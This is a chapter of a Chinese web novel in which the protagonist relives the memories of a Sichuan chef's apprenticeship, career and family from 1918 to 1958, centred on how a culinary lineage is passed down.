第163章传承（1.3w大章） 孔瑞接过茶，喝了一口，笑着将跪在地上的两位少年搀了起来，“庆峰、庆杰，今日起，你们便是我的徒弟，跟怀风一起学厨。” “我们这个行当有句话叫做：千两黄金不卖道，十字街头送故交。” “你们是我侄儿，所以我收你们为徒，传的是家传手艺，日后不管你们学会了好多，都不得外传，晓得不？” “晓得了。”两个少年垂着头，垂在身前的手紧紧攥着，声音有些青涩。 他们身上穿着半旧的棉麻衣裳，搭在身上空荡荡的，就像挂在竹竿上一般，微微弓着的背，甚至印出了嶙峋的骨头。 周砚心中轻叹了一口气，孔庆峰的记忆应该格外深刻，刚拜师的他确实瘦骨嶙峋，扯根稻草就能把裤腰带拴上。 他看了眼一旁的墙上，一行时间格外醒目：1918.3.12 孔庆峰拜师成功。 周砚在少年的眼睛里看到了紧张，也看到了一丝光。 简单而繁复的拜师礼在三位大师的见证下圆满结束。 孔怀风把托盘放下，揽着两个少年干瘦的肩膀笑着向外走去：“庆峰、庆杰，走，我带你们去看看你们住的地方，今天开始，你们就跟我住一个屋。” 他比二人足足高了一个头，看起来自信又阳光。 房子不大，也算不上豪华，一处堂屋，一个小院，两间房便是全部。 三个少年住一屋，摆了两张木板床，过道便只剩半米宽，床头放着一摞书。 天色转黑，孔庆峰和孔庆杰坐在床上，摸着软和的棉被，看着可以关严实的门窗，眼睛都亮晶晶的。 孔怀风坐他们对面，微笑道：“挤是挤了点，不过我老汉儿说了，才回来将就住，等过两年挣到钱，再换个大点的房子。” “怀风哥，房子还不够大吗？”孔庆杰左右看着，满眼欣喜：“这比我们房子大多了，还有棉被睡，我们在家睡的是稻草，盖的被子前些天被雨水打湿了，盖在身上一点都不暖和。这个被子摸着好舒服，是给我和大哥盖的吗？” 孔怀风脸上的笑容僵住，眼中露出了几分怜悯之色，张了张嘴，声音有点发闷：“对，庆杰你和庆峰睡那张床，你们瘦点挤一挤，我睡这边。” “谢谢怀风哥！”两个少年雀跃地说道。 孔怀风也笑了，摆手道：“不谢，那我们睡了嘛，明天一早还要起来练刀工，起晚了要遭我老汉骂。” 三人窸窸窣窣爬上床，床头的油灯吹灭，孔怀风一会便睡着了，打着轻鼾。 另一张床上，孔庆杰有点迷糊的小声道：“大哥，这被子好舒服哦，我从来没有睡过这么舒服的被窝……” “庆杰，我们这辈子一定要出人头地！让孔家人都能吃饱饭，都能睡上暖和的被窝。”孔庆峰仰面躺着，看着天花板，眼睛在黑暗中透着坚定的光。 身旁传来了弟弟呼呼鼾声，比隔壁孔怀风都要响。 孔庆峰笑着摇了摇头，伸手帮他把被角掖好，很快也进入了梦乡。 …… 周砚眼前一黑，再度亮起。 墙上一行红色时间：1918.6.13 露天院子里摆着三张石桌，桌上摆着三块墩子，外边天色刚亮。 两个少年站在墩子前，握着菜刀，正在切冬瓜。 三个月过去，孔庆峰和孔庆杰瘦削的脸颊上明显长了不少肉，棉麻的薄衣服穿在身上，也不像之前那样透着嶙峋的骨头了。 两人的左手上布满了新旧伤痕，特别是孔庆峰，手上的伤痕密密麻麻的。 六月的天，早上都带着几分闷热。 两人额头上已经满是汗珠。 当然，也不一定是热的缘故，因为旁边还站着手握戒尺的师父。 “啪！” 戒尺抽在了孔庆杰的右手上，立马显出了一道红印。 孔瑞沉着脸道：“你看你切的啥子东西！冬瓜片切的那两片是一样厚的？你手指离那么远，生怕被刀碰到一点，怎么练得好**法？” “喊你左手持料，要按稳当，用中指第一关节顶住刀身，一边切一边往后退，保证退的距离是一样的，这样切出来的片厚度就会一样！ “你越害怕，刀越容易空刀切到手指。” 孔庆杰握着刀不敢放，往回缩了缩手，眼眶里已经泛起泪光，点头小声道：“师父，我晓得了。” “再切一块冬瓜继续练！我看着你切！”孔瑞沉声道，神情依然严肃。 孔庆杰切了一块冬瓜下来，深吸了一口气，又小心翼翼地切了起来。 “左手要稳！对，就是这样。下刀要直，直上直下，不能偏里也不能偏外，不然切出来的片和丝形状都丑得很。” “手腕要灵活噻！关节是能动的，又不是石头做的，对，这样……”孔瑞一边指导孔庆杰，一边扭头看着一旁的孔庆峰。 孔庆峰握刀已经颇稳，菜刀直起直落，切出来的片虽然还有些厚，但总体还算均匀。 他的手上又添了一道新伤，鲜血从中指慢慢往外淌，切的不深，他眉头都没皱一下，不紧不慢的把手头这块冬瓜切完，才拿起一旁的纱布把伤口上的血拭去，不用师父提醒，自己又去切了一块冬瓜继续切着。 孔瑞微微点头，把目光转回到孔庆杰身上，眉头一皱：“手抬高点！用手腕的力量来切，刀口触墩有一个自然的回力，先找到那个感觉！” 周砚在旁认真瞧着，脑子里闪过许多小周练习刀工时的记忆，无数画面重叠，竟是如此的相似，甚至连师父的话都是一样的。 这……或许也是传承的一种？ 院门被顶开，孔怀风扛着两个二十多斤的大冬瓜进门来，笑着道：“老汉儿，今天的冬瓜便宜，我讲了点价，花平日一个半的钱买了两个。” “幺儿都会讲价了，得行哦。”孔瑞过来帮他把冬瓜接了放在一旁的厨房阴凉处，笑着拍了拍他肩上的白灰，“你这个当师兄的去看着，特别是庆杰，三个月都没啥长进。” 孔怀风温声道：“老汉，庆杰还小的嘛，菜刀都握不稳，切的差点也能理解。我这段时间带他锻炼锻炼，先把力量练起来。” 孔瑞摇头，神情严肃道：“十二岁不小了，既然他拜师学艺，那就要有个端正的态度，庆峰的天赋还不如他，每天至少比他多切一倍冬瓜，现在已经快要掌握**法的基本功了。” 孔怀风忍不住笑着摇头：“庆峰太勤快了，一天练**个小时，我们家的鸡看到冬瓜和南瓜都害怕，要不再买个大鹅回来养？” “莫要东拉西扯，喊你去看着就去看着！”孔瑞伸手拍了一下他的脑袋，笑道：“今天开始你跟我学做红烧黄辣丁。” “真的？！”孔怀风眼睛一亮，“要得！不枉我这三年杀了几千条黄辣丁，也该到我煮的时候了！” 孔瑞笑着摇头，转身往堂屋走去。 孔怀风探头看了一眼堂屋的方向，进厨房倒了两碗凉茶出来，小声道：“嘘，快点喝，喝了再切！” 两少年把菜刀轻轻放下，双手接过海碗就吨吨猛灌，一会功夫就把一碗凉茶喝了个精光，同时呼了口气，冲着孔怀风咧嘴笑。 “行了，抓紧练，别偷懒。”孔怀风接回碗，看着两人神情认真道：“师父说了，等你们啥时候把**法掌握好了，就带你们进乐明饭店的后厨，那才是真正练刀工的开始。” “师兄，那不是比现在还辛苦啊？”孔庆杰有些苦恼道。 孔庆峰却是眼睛一亮，“师兄，去了后厨，是不是就能切南瓜、冬瓜之外的东西了？” “没错，乐明饭店的菜单上有上百种菜，只要你愿意切，有的是食材给你练手。”孔怀风笑着点头。 “太好了！那从今天开始我每天再加练两个小时，早日掌握**法！”孔庆峰握拳，有些兴奋道。 “锅锅，求放过！”孔庆杰抬头，眼含热泪：“我是你的亲弟弟啊……” “我愚蠢的弟弟啊，人只有努力才能改变自己的命运！”孔庆峰伸手拍了拍他的肩膀，“你也一样。” …… 画面渐暗，再度亮起，已是来到了一处宽阔的后厨。 时间：1918.8.13 长案板前，孔庆峰手握菜刀，目光坚定的切着土豆块，一旁的木桶里已经泡着两桶切好的土豆。 土豆切完切黄瓜、苦瓜…… 切块、切片、切丝、切条…… 墙上的时间在一天天的快速流动，他的**法越发娴熟，切的速度越来越快，切的也越来越好。 孔瑞和孔怀风的身影不时出现，对他的动作进行校正和指导，有时还会亲自上手教导。 等到孔庆峰开始学推切法和拉切法的时候，已是三个月后。 许久不见的孔庆杰终于出现在后厨。 他长高了半个头，也长了些肉，墩子摆在孔庆峰的身边，看着身旁正在切肉丝的孔庆峰，一脸羡慕：“哥，你真学会切肉丝了啊？师父昨天才第一回让我碰黄瓜呢。” “工作场合，喊师兄。”孔庆峰头都没抬一下，“赶紧切你的，好不容易才通过师父的测试，今天这一桶土豆切完，切好了留下，切不好又回去练三个月。” “哦！”孔庆杰应了一声，拿起菜刀认真切土豆，动作不算快，但架势已经颇为标准，切出来的土豆块有板有眼，大小均匀。 “哥，你不歇会吗？” “师兄，这是我的土豆啊？” “二师兄，这是大师兄的黄辣丁，你也要抢着杀吗？” “孔庆峰，收手吧，你这样我害怕……” 孔庆杰站在角落里，看着在后厨如花蝴蝶般啥活都抢着干的孔庆峰，不解中带着几分淡淡的忧愁。 “庆杰，站在这里干啥子？”孔怀风端着一份红烧黄辣丁准备上菜，看着站那发呆的孔庆杰笑问道。 “大师兄，二师兄不是墩子吗？他为啥啥都做呢？”庆杰疑惑道。 孔怀风闻言看了眼正给师父擦灶台的孔庆峰，笑着道：“厨师是勤行，勤快的人才能从师父那里多学手艺，你看庆峰这段时间进步多快，可不止刀工上的那点长进。” 孔庆杰挠头：“我们不是才开始学刀工、刀法吗？” 孔怀风笑道：“没得事，你先把刀工、刀法学好。” 时间一天天流逝。 孔庆峰的刀工日渐精湛，相继掌握了锯切法、侧切法、滚切法。 以及平刀法中的平刀片、退刀片、拉片刀、斜刀片、反刀片。 **法也是**砍、跟刀砍、拍刀砍一样样掌握。 拍、捶、剁、削更是娴熟运用。 这期间，孔怀风就在旁边的灶台上跟着学做菜，一次次被孔瑞呵斥，被戒尺抽打，被骂的狗血淋头。 孔庆杰在旁瑟瑟发抖，切的更小心了。 这一晃，便是三年。 孔庆峰成了乐明饭店后厨最受厨师喜欢的墩子，一般碰上重要的宴席，大厨都是点名要孔庆峰切菜。 孔庆杰火候还差点意思，但基本功还算扎实，混在后厨墩子里边不显突出，也没拖后腿。 …… 时间：1921.3.12早：6:00 城北早市。 天灰蒙蒙亮，孔瑞在前边走着，孔庆峰背着个空背篼跟在他身后。 “庆峰，你的刀工已经相当娴熟，从今天开始，你跟着我正式学做菜。”孔瑞边走边道：“学做菜要先学会‘认和选’，你每天在后厨切的材料是有采购专门去采买的，但作为厨师，你必须要搞得清楚原材料是哪路货以及有啥子规格和讲究。” “一个厨师要想独当一面，会挑食材是最基本的。而最新鲜的食材，就藏在这早市里头。要想弄到最好的食材，必须起早摸黑，风雨无阻，下刀子都得出门。” “你看这个黄辣丁，品质好好嘛，活蹦乱跳，表皮一点伤痕都没得，都是下河摸的，挑这种大小的拿来红烧最巴适。” “挑蔬菜，要一看、二摸、三闻，比如这个黄瓜，要选毛刺多的，摸起来扎手生硬，闻着有股清香的，不管是拍黄瓜还是切丝凉拌，口感和水分都很足。” “你看这青辣椒，弯的皮薄比直的更辣，可以根据客人的口味来选用……” 孔瑞背着手，带着孔庆峰一个一个菜摊看过去，不时蹲下挑挑拣拣，跟他讲解选菜的技巧，以及优劣之分。 一般上了手的菜，多少都会买一点，摊贩也是高高兴兴地。 周砚跟在后边认真听着，祖师爷讲的太细了，完全是把自己的经验揉碎了一点一点教给徒弟。 他一路跟着听，受益良多。 可惜他鉴定一开，好坏无从遁形。 不过也不是完全没用，以后他要是收了徒弟，这些知识可都是热乎的。 传承是什么？ 不是一张菜谱，也不是高人指点。 而是一整套将一个纯新手领入门，教他一步步成长为优秀厨师的方法。 孔庆峰这个懵懂少年，花了三年时间将刀工练好，而这三年间，孔怀风则是从墩子进阶为一名真正的厨师，马上就要开始正式独立掌勺。 三年后，孔庆峰可能也会成长为一名合格的厨师。 孔派厨师的培养周期一般为六年，六年可独立掌勺者，算天赋不错的。 六年还炒不明白的，那就只能继续练，直到出师为止。 所以当他们听说周砚只学厨两年半，竟然炒出那样一份火爆猪肝，震惊不言而喻。 早市逛完，背篼也装满了。 孔庆峰腰杆挺得笔直。 三年过去，十七岁的少年，已经褪去了初到嘉州城的青涩与瘦弱，他现在和孔瑞差不多高，身姿看起来颇为壮实，目光变得坚毅。 驴车晃晃悠悠，停在了乐明饭店后厨外。 孔庆峰背着背篼跟在师父身后进后厨，孔怀风和孔庆杰已经到厨房了，上前帮忙把背篼放下。 “今天段家少爷满三岁，段家在乐明饭店包席办小宴席，指名要我和老罗来掌勺。”孔瑞看着三人道：“我们今天要做五道菜，老罗做三道，你们三个给我打下手，确保不要出错。” “要得！”三人齐声应道。 “师父，是嘉州第一大户段家？”孔怀风好奇问道。 孔瑞笑道：“还能有哪个段家？” 另一边，老罗也正和两个徒弟叮嘱：“今天我们要做雪花鸡淖、坛子肉和软炸扳指，还有一道开水白菜，这四道可都是咱老罗家的代表大菜，表现好了，段家有重赏的，都给我打起精神来！要是出了差错，不止是丢咱们老罗家的脸，丢的还是东家的脸。” “要得！”大罗、小罗跟着应道，眼里同样亮着光。 “三岁的段家少爷？这是……段语嫣的爷爷段兴邦？”周砚若有所思，时间线倒是刚好能对上，飞燕酒楼和乐明饭店是如今嘉州城里最有名的两家饭店，段家在乐明饭店吃饭倒也不算意外。 周砚的眼睛往被称为老罗的光头中年厨师那边看，雪花鸡淖、坛子肉还有软炸扳指可都是名菜啊，他做自媒体的时候去尝过几家大师的私房菜，总感觉差点意思。 特别是雪花鸡淖，这才在各大川菜馆几近失传。 来都来了，他既然不能干涉进程，不看一眼岂不白来了。 他控制着身体往开始做准备工作的老罗师徒三人那边飘去，却突然撞上了一道无形的墙。 他试图偷看，可眼前却变得白茫茫一片，他试图偷听一点技巧，耳朵嗡嗡的，啥也听不清。 周砚退回到孔庆峰身后，老罗三人又重新变得清晰起来。 他大概明白了。 孔庆峰的记忆碎片，始终是以他的视角为主的，他看不到听不到的细节，周砚自然也无法细看。 “厨师要想站得住脚跟，成为别人口中的名厨，那就要有拿手菜。所谓拿手菜，除了要好吃，还得是一般厨师做不出来的，或者说做不了你那么好的。”孔瑞一边把菜从背篼里取出来，一边说道：“我们孔家的拿手菜是啥子？” “鱼！”三人齐声答道。 孔瑞笑着点头：“没错，鱼是我的拿手菜，嘉州城的老饕都晓得我鱼烧的好。所以段家今天点了三道鱼，脆皮鱼、干烧岩鲤、红烧黄辣丁，都算是我的代表菜。 其次就是我们临江的鳝鱼也是非常有名，我烧还可以，所以他们点了一道临江鳝丝，还要了一个口袋豆腐。” “这五道菜，怀风已经学的差不多，但做出来的味道始终还差点意思，你们晓得为啥子不？” 孔庆峰不解道：“师父，我看大师兄已经烧的很好了噻？” “就是！”孔庆杰也道。 孔瑞却笑着摇头：“看着不错，实则火候、调味都差点意思。原因很简单帮厨的时候，他更多时候是给我打下手，很多时候没有自己上手的机会。 技贵熟，熟则生巧。师父教的再多，不如自己亲手做了之后总结的心得。 明天开始，他就要自己独立掌勺，会越做越熟练，一点点把手艺打磨精湛。” 孔怀风神情认真道：“师父，我会虚心总结，继续精进提升。” 孔瑞道：“来嘛，先从鳝丝开始做准备……” 后厨逐渐忙碌起来，师徒四人的配合已经十分默契娴熟，分工明确。 周砚看得有些眼花缭乱，只能记个大概流程，想要在记忆中学艺的心思算是落了空。 倒是隔壁老罗做的雪花鸡淖和开水白菜，上菜的时候把周砚给惊艳到了。 白色的大瓷盘中，一堆如雪花般洁白无瑕的鸡淖，点缀着些许细小的红色颗粒，服务员端起盘子时，雪堆颤颤巍巍，白里透红，看着相当惊艳。 那份开水白菜，看着平平无奇，却盛在了青花瓷盆中，浅黄色的汤汁清澈如水，不见一丝油光，几片小白菜叶飘在汤中。 孔怀风、孔庆峰三人都扭头看着成菜，眼里满是讶色。 “白菜水煮也能当代表菜吗？”孔庆杰小声道。 “嘘。”孔庆峰瞪了他一眼。 “开水白菜可是名菜，水平不在白菜，而在那锅汤。因为看着清新脱俗，所以不少名流和风雅人士都喜欢点。”孔怀风给俩人解释道：“老罗师傅做的开水白菜和雪花鸡淖，可是咱们乐明饭店的招牌菜。” “怀风啊，你比你老汉儿有眼光。”老罗正在捞坛子肉，闻言笑着说道。 “嘁，一锅清汤有啥稀奇，我明天去翻翻古菜谱，我也做得出来。”孔瑞撇撇嘴，笑着道。 “得了吧你，你好做你的鱼就行了。”老罗道。 一道道菜从后厨端了出去。 孔怀风借口去上茅厕，实则溜到前厅去看了眼热闹。 服务员端着菜推开包厢门，里边坐满了穿着华服的男男女女，众星拱月般逗着一个穿着蓝色绸缎的小少爷。 周砚跟着瞧了一眼，那少爷生得眉清目秀，一脸富贵相。 …… 画面一转。 孔庆峰已然变成了青年模样，站在灶前，神情略显紧绷。 “庆峰，别紧张，今天是你第一回独立掌勺，心态放轻松，只要菜能过东家和师父这一关，接下来你就能独立掌勺炒一些简单的菜了。”孔怀风站在一旁，笑着温声宽慰道。 “二师兄，你得行的！”孔庆杰握着拳头给他鼓劲。 “要得。”孔庆峰表情稍缓，回头看了一眼站在厨房外的师父和东家，深吸一口气，拿起菜刀开始切猪肝。 周砚看着墙上红色的时间：1925.3.28 一晃四年过去了。 如今的孔庆峰应该是二十一岁，从拜师到掌勺，过去了七个年头。 今日若是能够过关，便算是出师了。 孔怀风今年二十四，已经褪去了少年的清朗，多了几分成熟稳重，眉眼间还有几分儒雅之色。 而门外站着的孔瑞，眼角多了几分皱纹，比起四年前苍老了几分，精气神还是不错的，面色红润。 看样子今天要炒的菜是火爆猪肝。 倒也合理，非常考校调味和火候的一道菜。 孔怀风和孔庆杰退到一旁，安静看着孔庆峰切菜、炒菜。 很快，一道火爆猪肝出锅。 周砚扫了一眼。 【一份不错的火爆猪肝】 没想到啊，竟然鉴定在记忆碎片也能用。 孔瑞和东家走进门来，一人抽了一双筷子，在三人紧张目光中尝了一块火爆猪肝。 孔瑞没有急着开口，而是看向了东家。 东家细细品尝后，微微点头：“还不错，盐味差了点，火候过了一点，膻味还要再压一下，大厅的客人点的菜，庆峰可以开始炒了。” 孔瑞这才开口道：“东家说的没错，火候和调味都差点意思，要多学多练，继续提升。” “要得。”孔庆峰恭敬点头，脸上难掩兴奋之色。 东家放下筷子走了。 “庆峰，恭喜你通过了！” “大哥，你太厉害了！” 孔怀风和孔庆杰皆是一脸兴奋。 孔瑞也是笑着伸手拍了拍他的肩膀：“从今天开始，你就算出师了，不过离成为一个好厨师还有很长的路要走。要想成名厨，就要做到选料精、切配细、火候准、调味当、成型美。技贵熟，熟则生巧。” “徒儿谨记！”孔庆峰向孔瑞深深鞠了一躬。 周砚在旁看着这一幕，脸上同样露出了笑容。 七年学厨，吃尽百般苦头。 出师这一刻，算是真正成为了一名厨师。 这晚回到家，师徒四人还喝了一场酒。 师娘陪着喝了一杯，皆是颇为高兴。 画面开始快速拉动。 孔怀风开始掌勺，从大厅散客的菜炒起。 只要有机会炒菜，他都抢着干，不嫌苦，不嫌累。 不炒菜的时候，就给别的厨师切配，继续磨练刀工。 孔怀风始终快他一步，他的天赋要更高一些，也更有灵性一些。 十余年间，孔家父子之名，已经名动嘉州城，成了一桩佳话。 孔庆峰时常听人谈起，脸上有笑，但心头暗暗较劲，第二天便又加练一个小时。 日复一日，年复一年。 十年苦练，终于把菜炒上了二楼雅座，炒进了乐明饭店的包厢。 孔家父子的美名，也变成了孔家三杰。 孔派之名，开始流传。 孔庆杰？ 周砚认真找了一下，1936年，三十岁的他还在当墩子…… 孔庆杰赶着驴车带着孔庆峰去采买食材，咧嘴笑道：“大哥，我觉得这辈子就当墩子问题也不大，师父、大师兄还有你都是名厨，一天要炒那么多菜，我就专门给你们三个切配，守好后方，一样噻！ 炒菜我确实没得天赋，墩子当的好，东家发的工资也不少，阿娟和两个娃娃完全养得活。” 孔庆峰看着他沉默良久，点了点头：“也要得。” …… “大哥！大哥！庆杰留了封信，我到处都找不到他人，你看看写的啥子？”一个挺着孕肚的女人，牵着两个半大孩子走进厨房，红着眼把一封信递给孔庆峰。 孔庆峰看着信纸上歪歪扭扭的字迹：阿娟亲启 脸色一下变得刷白。 孔怀风闻讯赶来，伸手扶住孔庆峰，从他手里接过信慢慢撕开。 信上的字歪七扭八，却写了足足写满了三页纸。 “风哥，庆杰写的啥？”阿娟看着脸色有些沉重的孔怀风，声音里带着几分哭腔。 “弟妹，你跟我来外面坐着，我给你念。”孔怀风扶着阿娟往门外走，在院里的石椅上坐下。 孔庆峰跟了出来，在阿娟身旁站定。 “阿娟，我去打日本鬼子了，今天晚上走，明天就出川，你莫要来找我。 对不起，我晓得你快生了，正是最需要照顾的时候，我却在这个时候离开。 小鬼子太可恨了，侵我国土，杀我国人，奸我姊妹。 我们家三个兄弟，一定要有人出川去打鬼子的话，只能是我去。 大哥已经是名厨了，学到了大爷的厨艺，将来是要传承孔派手艺的。三弟才二十岁，刚结婚，连娃娃都还没得…… 怀风哥，大哥，我晓得阿娟会拿着信来找你们，所以也给你们写了几句。 怀风哥，你教我识字看书，今天用上了，这些年谢谢你的关心爱护。 大哥，替我向师父和师娘还有我们老娘磕个头，等庆杰回来再膝下尽孝。 阿娟就拜托你和大嫂多照顾一二，肚子里的孩子出生后，让师父帮忙取名。 庆杰。” 孔怀风声音低沉的念完了信，眼眶早已泛红。 “他怎么这么狠心啊，这么狠心。”阿娟嚎啕大哭。 孔庆峰扶着她的肩头，也是泪流满面。 周砚看着墙上的猩红时间：1938.3.6日，心中亦是升起了一丝悲怆。 “弟妹，你放心，阿杰一定会回来的。”孔庆峰语气坚定道：“日后有我一口饭吃，你和三个娃娃都绝对饿不到一餐，等他们年纪再大些，就来跟我学厨，以后都会有一门手艺傍身。” 孔怀风也是温声宽慰道：“弟妹，这段时间我让你嫂子经常过来看你，你先把胎养好，我会托人打听庆杰的消息的。” …… 1938.6.1 一声婴儿的啼哭声从房间里响起。 门外坐着的孔瑞、孔怀风和孔庆峰三人同时站了起来，脸上露出了喜色。 “生了！生了！是个男娃娃！”接生婆抱着孩子出来，笑容满面的看着孔瑞，“孔大师，阿娟说让你帮孩子取个名！” 孔瑞伸手小心翼翼的接过孩子，想了想道：“他老汉儿去打鬼子保家卫国，希望他日后也能成为国之栋梁，就给他取名叫国栋，孔国栋。” “国栋国栋，来来来，大爷抱一哈。”孔庆峰笑眯眯地伸手接过娃娃。 “孔国栋……原来是师伯啊。”周砚看着被孔庆峰抱着的婴儿，若有所思。 —— 画面渐暗，再次亮起时，外面锣鼓喧天。 孔怀风和孔庆峰正在后厨忙碌，不过这个厨房和乐明饭店却是完全不同。 周砚很快在墙上找到了时间：1939.9.8早：10:00 这个时间！ 不是邱绮与段兴邦成亲的日子吗？ “孔师傅，等会宴席的菜弄好，我们还是好好商量一下嘛，你们两位要是愿意来我们飞燕酒楼，我给你们开双倍工资，待遇绝对比在乐明饭店要好。”一道熟悉的声音响起。 说话的正是黄四郎，这会站在孔怀风的身旁，一脸谄媚的笑容。 “黄老板，这事就莫要再提了哈，我老汉还在乐明饭店掌勺呢，我们兄弟俩在乐明饭店干了十多年了，背叛老东家来你飞燕酒楼干，要被戳脊梁骨的。”孔怀风面带微笑，但语气平淡，“这次来，也是因为段家找我们东家，让我们过来做几道菜，做完我们就走了，你也不用多想。” 黄四郎压低了几分声音道：“孔大师留在乐明饭店，你们两位孔师傅来我飞燕酒楼，那才是一段佳话嘛！你们要是来飞燕酒楼，主厨给你们兄弟两个当。” 一旁孔庆峰切菜的动作不自觉慢了下来，看向了孔怀风。 “我们不考虑，黄老板，你还是赶紧去忙你的事，今天这婚宴可出不得一点差错，你我都担待不起。”孔怀风看着他说道。 “要得，那你们先忙。”黄四郎碰了个软钉子，摸着鼻子走了，脸上满是被拒绝的幽怨。 等黄四郎走了，孔庆峰小声道：“师兄，主厨你都不干？” “你想干？”孔怀风刀一停，侧头看向他，神情认真道：“你要有想法，我跟黄四郎说一声，明天你就可以来上班。师父那边，我去帮你说，机 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“他们家的卤肉出了名的好吃，不少客人就是冲着卤牛肉来的，上回我喊人打包了一份卤猪耳朵，味道硬是好，我们乐明酒楼的卤肉是差了点意思。”孔怀风低声应道。 两人闲聊了几句，便开始紧张备菜。 “新娘新郎来了！” 不多时，外面传来了鞭炮声和欢呼声。 厨房里的厨师们都下意识的往门口的方向看，但没一个离开岗位的，反倒是纷纷加快了手上的动作。 孔怀风和孔庆峰只做两道菜。 一道清蒸江团，一道临江鳝丝。 装盘上菜。 两人的工作便算完成了。 “我去前面凑凑热闹。”孔庆峰解了围裙，笑着往前厅去。 邱、段两家联姻，嘉州城有头有脸的人物都来了。 孔庆峰是厨子，自然不敢往前厅去，站在厅外瞅了两眼。 高台上，新娘凤冠霞帔，正与穿着蓝色西服的段家少爷对拜。 团扇微微倾斜，看到了新娘的绝美容颜。 周砚趴在门边，看着台上对拜的邱绮与段兴邦。 段兴邦的腰比邱绮弯的更深，头垂的更低。 邱绮的嘴角微微上扬，露出了一丝笑容。 所谓的上位者为爱低头。 在这一刻，具象化了。 周砚满足地笑了。 这一幕，算是补齐了上回只看到他们下车的遗憾。 孔庆峰接了一把喜糖，踹在兜里，心满意足地回了后厨。 婚礼结束后，段家老爷亲自让他们两个单独进包厢感谢了几句，一人给他们拿了五百银元作为赏银。 “师兄，这活真不赖啊，下次还叫我啊。”孔庆峰跟着孔怀风出了飞燕酒楼，嘴都快咧到耳后根了，装刀具的口袋沉的得两只手才提得动。 “肯定喊你。”孔怀风笑道。 两人在飞燕酒楼门口分别，然后又在一出小院门口相遇。 两人看了眼对方手里提着的口袋，都笑了。 “你拿好多？” “两百。” “我也两百。” “敲门。” 院门敲开，阿娟看着两人有些意外。 “进去说。”孔庆峰直接进门，孔怀风进门还把门反手带上。 “阿娟，这里有两百银元，你藏好，慢慢花，给三个孩子多吃点肉。”孔庆峰把两条包好的银元放在桌上。 “这里还有两百。”孔怀风也把钱拿了出来。 阿娟连忙摆手道：“使不得，使不得，大哥，怀风哥，你们上个月才给我们拿了钱，又经常送吃的过来，这啷个使得嘛。” “这是我们去帮段家结婚帮席挣的，我们还有多的，下回没了你再跟我们讲。”孔庆峰从包里捧了一大把糖放在桌上，笑着道：“喜糖，给三个孩子吃嘛。” 阿娟红着眼睛道：“你们帮了我们家那么多，我都不晓得该怎么报答你们。” 孔庆峰摆手道：“一家人，报答啥子，你把三个孩子带好就行，等大娃十三岁了，就让他来给我当学徒。” “要得。”阿娟点头。 …… 1945.6.3 孔家。 孔瑞躺在床上，脸色惨白，紧握着跪在床边的孔怀风和孔庆峰的手，声音嘶哑道：“小鬼子赶出去的时候，烧一张当天的报纸给我。孔派的手艺，你们一定……一定要给我传下去……” 话音落下，孔瑞的手无力垂下。 “老汉儿！” “师父！” “大爷……” 满屋悲怆的哭泣声。 周砚缓缓握紧了拳头，要是祖师爷能再等三个月多好。 …… 1949.12.16 嘉州全城解·放。 乐明饭店的东家带着一家老小，提前坐上船南下。 乐明饭店关门一阵后变成了国营饭店，原班厨师全部被召回，重新开业。 孔怀风德高望重，且在抗战中多次捐钱，颇有贤名，又识字有文化，被任命为厨师长。 孔庆峰也回来了，依旧负责掌勺，同样是大师傅。 老罗前年病**，大罗前年被拉了壮丁没回来，小罗熬成了老罗，也成大师父了。 乐明饭店重新开门，生意颇为稀松，主要负责接待领导。 大户们都跑了，没啥人有闲钱来饭店吃饭的，都忙着分地呢。 孔庆峰端着一碗稀饭和孔怀风面对面坐着，就着泡萝卜吸溜吃着。 四十六岁的孔怀风和当年的中年孔瑞有八分相似，看起来还要更儒雅几分。 “师兄，我准备收晓飞当徒弟，你觉得怎么样？”孔庆峰看着孔怀风问道。 孔怀风放下碗：“晓飞自己怎么想？” “十二岁的孩子，能想啥子，家里虽然分了田地，他也没得耕田的力气噻，来饭店当学徒，至少不会饿肚皮，家里也少个半大孩子吃饭，阿娟会轻松点。”孔庆峰闷声道：“吃饱饭，是头等大事。” 孔怀风沉默了一会，点头道：“要得，啥时候办拜师宴，我来主持。” “那就明天嘛，我看了日子，明天合适。”孔庆峰笑着道。 堂屋。 孔庆峰和他夫人坐在椅子上。 一个少年跪在地上奉茶，口中诵念：“侍师如父、终生不渝。伏冀慨允。” 孔怀风和老罗坐在一旁，面带笑容。 阿娟红着眼站在一旁，别过头去抹了抹眼泪。 孔庆峰接过茶喝了一口，伸手将少年扶了起来：“晓飞，今天起你就是我的徒弟，好好跟着我学厨。” “要得，大爷。” “喊啥子？” “师父！” “嗯。” 周砚看着这一幕，脸上露出了笑容。 当年跪在这里拜师求艺的少年，今天成了师父。 传承在这一刻完美闭环了。 …… 时间一晃。 1958.11.8早：7:00 “培训班！你莫非要把我们孔派的菜谱、手艺全部拿出来教给外姓人吗？孔怀风！你莫要忘了你姓啥！ 拜师的时候，师父说了：千两黄金不卖道，十字街头送故交！ 孔派的手艺是家传的，绝对不能传给外人！ 难道你忘了师父的临终嘱托了吗？” 乐明饭店的办公室里，孔庆峰拍着桌子气汹汹道。 坐在桌子后边的孔怀风起身倒了一杯水，放在了孔庆峰的面前，语重心长道：“庆峰，时代已经变了。我们现在饭店是国有的，大家互相之间称呼的是同志。 各地的厨师培训班办得红红火火，一批又一批年轻有为的厨师如同雨后春笋一般冒出头来，势头相当好。 我没有忘了师父的嘱托，恰恰正是因为师父的嘱托，我才决定要相应号召开设培训班主讲，把孔派的菜谱、手艺全部整理成教材，传授给更多的年轻厨师。 只有这样，才能真正的把孔派的手艺传承下去！ 你收了五个孔家的子弟当徒弟，这些年过去，你看哪一个能担得起孔派的衣钵？” 孔庆峰沉默了一会，闷声道：“我看国栋能行！” 孔怀风盯着他的眼睛：“你真这样觉得？” 孔庆峰移开目光，沉声道：“反正我不同意！孔家那么多子弟，总归会有有天赋的，我们慢慢挑，慢慢选，肯定能找到合适的！” 孔怀风眉头一皱，准备开口。 突然一个人冲进门来，带着哭腔道：“孔大爷，我……我老汉没了！” “小罗，你说啥子？”孔怀风和孔庆峰闻言皆是一惊。 两人跟着小罗冲到宿舍，宿舍里外已经站满了饭店的厨子，老罗靠在床上，脸色青白，身子已经冷了。 “昨天晚上他高兴，多喝了二两酒，今天早上我来他就这样了。”小罗嚎啕大哭。 老罗被拉回了老家，孔怀风和孔庆峰跑前跑后，帮着才十八岁的小罗办了各项手续。 “小罗，办完了你老汉的丧事，你就回来嘛。”孔怀风往他手里塞了一沓钱，“这是饭店大家的一点心意。” 小罗一脸悲戚：“孔大爷，我还回来做啥子？我老汉的刀工我都还没有学精，我们老罗家的传承断了，在我这里断了。 